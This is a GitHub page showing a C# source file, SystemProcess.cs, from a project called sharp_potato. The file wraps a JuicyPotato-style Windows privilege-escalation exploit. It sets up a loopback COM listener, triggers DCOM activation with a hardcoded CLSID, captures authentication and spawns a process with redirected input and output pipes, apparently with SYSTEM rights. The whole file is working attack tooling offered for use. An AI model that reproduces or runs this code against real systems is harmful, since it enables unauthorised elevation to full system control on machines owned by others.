-
Notifications
You must be signed in to change notification settings - Fork 1
/
SystemProcess.cs
91 lines (76 loc) · 3.71 KB
/
SystemProcess.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using Vanara.PInvoke;
using static Vanara.PInvoke.Ole32;
using static Vanara.PInvoke.AdvApi32;
using static Vanara.PInvoke.Kernel32;
using static Vanara.PInvoke.Secur32;
namespace sharp_potato;
public class SystemProcess
{
public ProcessStartInfo StartInfo { get; } = new();
public IPEndPoint ComServerEndPoint { get; set; } = new(IPAddress.Loopback, 1337);
public IPEndPoint RpcServerEndPoint { get; set; } = new(IPAddress.Loopback, 135);
public Guid CLSID { get; set; } = Guid.Parse("03ca98d6-ff5d-49b8-abc6-03dd84127020");
public StreamReader StandardOutput { get; private set; }
public StreamReader StandardError { get; private set; }
public StreamWriter StandardInput { get; private set; }
private PipeStream standardOutputStream;
private PipeStream standardErrorStream;
private PipeStream standardInputStream;
public int Id => (int) processInformation.dwProcessId;
public bool HasExited => QueryHasExited();
private SafePROCESS_INFORMATION processInformation;
public void Start()
{
var potato = new JuicyPotato {ProcessStartInfo = StartInfo};
potato.ComServerEndPoint = ComServerEndPoint;
potato.RpcServerEndPoint = RpcServerEndPoint;
potato.CLSID = CLSID;
potato.StartCOMListenerThread();
potato.TriggerDCOM();
potato.WaitForAuth();
var secAttr = new SECURITY_ATTRIBUTES();
secAttr.nLength = Marshal.SizeOf<SECURITY_ATTRIBUTES>();
secAttr.bInheritHandle = true;
var startupInfo = new STARTUPINFO();
startupInfo.lpDesktop = "winsta0\\default";
if (StartInfo.RedirectStandardOutput)
{
CreatePipe(out var hChildStdOutRead, out var hChildStdOutWrite, secAttr);
SetHandleInformation(hChildStdOutRead.DangerousGetHandle(), HANDLE_FLAG.HANDLE_FLAG_INHERIT, HANDLE_FLAG.NONE);
startupInfo.hStdOutput = hChildStdOutWrite;
startupInfo.dwFlags |= STARTF.STARTF_USESTDHANDLES;
standardOutputStream = new PipeStream(hChildStdOutRead, true);
StandardOutput = new StreamReader(standardOutputStream);
}
if (StartInfo.RedirectStandardError)
{
CreatePipe(out var hChildStdErrRead, out var hChildStdErrWrite, secAttr);
SetHandleInformation(hChildStdErrRead.DangerousGetHandle(), HANDLE_FLAG.HANDLE_FLAG_INHERIT, HANDLE_FLAG.NONE);
startupInfo.hStdError = hChildStdErrWrite;
startupInfo.dwFlags |= STARTF.STARTF_USESTDHANDLES;
standardErrorStream = new PipeStream(hChildStdErrRead, true);
StandardError = new StreamReader(standardErrorStream);
}
if (StartInfo.RedirectStandardInput)
{
CreatePipe(out var hChildStdInputRead, out var hChildStdInputWrite, secAttr);
SetHandleInformation(hChildStdInputWrite.DangerousGetHandle(), HANDLE_FLAG.HANDLE_FLAG_INHERIT, HANDLE_FLAG.NONE);
startupInfo.hStdInput = hChildStdInputRead;
startupInfo.dwFlags |= STARTF.STARTF_USESTDHANDLES;
standardInputStream = new PipeStream(hChildStdInputWrite, false);
StandardInput = new StreamWriter(standardInputStream) {AutoFlush = true};
}
processInformation = potato.CreateProcess(startupInfo);
}
private bool QueryHasExited()
{
if (GetExitCodeProcess(processInformation.hProcess, out var exitCode))
return exitCode != NTStatus.STATUS_PENDING;
throw new Exception("Unable to determine whether the process has exited or not.");
}
public void WaitForExit() => WaitForSingleObject(processInformation.hProcess, INFINITE);
}